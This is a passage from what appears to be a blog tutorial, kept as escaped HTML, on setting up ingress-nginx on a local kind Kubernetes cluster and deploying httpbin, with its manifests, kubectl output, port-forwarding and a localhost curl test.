#96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESIRED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCURRENT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMPLETIONS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDURATION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e35\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are read to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etargetPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ereplicas\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematchLabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etemplate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimagePullPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least.  So apply those manifests:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see two pods come up.  You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNOMINATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADINESS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e48\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.3.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e72\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1.2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eport-forward\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e9000\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:9000\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost:9000/get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  